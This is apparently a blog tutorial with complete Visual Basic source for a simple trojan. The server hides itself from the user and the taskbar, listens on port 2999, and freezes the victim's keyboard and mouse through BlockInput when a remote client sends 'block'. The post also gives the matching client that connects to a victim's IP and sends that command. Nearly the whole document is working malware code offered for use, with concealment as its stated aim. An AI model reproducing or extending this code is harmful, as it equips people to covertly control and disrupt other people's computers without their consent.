Simple trojan in vb
Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.
Server
The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using
Code: VB
Private Sub Form_Load()
Me.Visible = False
End Sub
Code: VB
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.
Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.
Code: VB
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub
To do this little devious thing we need to add a module with the following code
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Then we add this code to our main form:
Code: VB
Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub
For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!
Code: VB
Public Function DoActions(x As String)
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function
Main Form
Code: VB
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub
Code: VB
Module
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Function DoActions(x As String)
Dim Action
Select Case x
Case "block"
Action = BlockInput(True)
End Select
End Function
Client
The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.
Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.
Code: VB
Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
Win.SendData "block"
End Sub
0 comments:
Post a Comment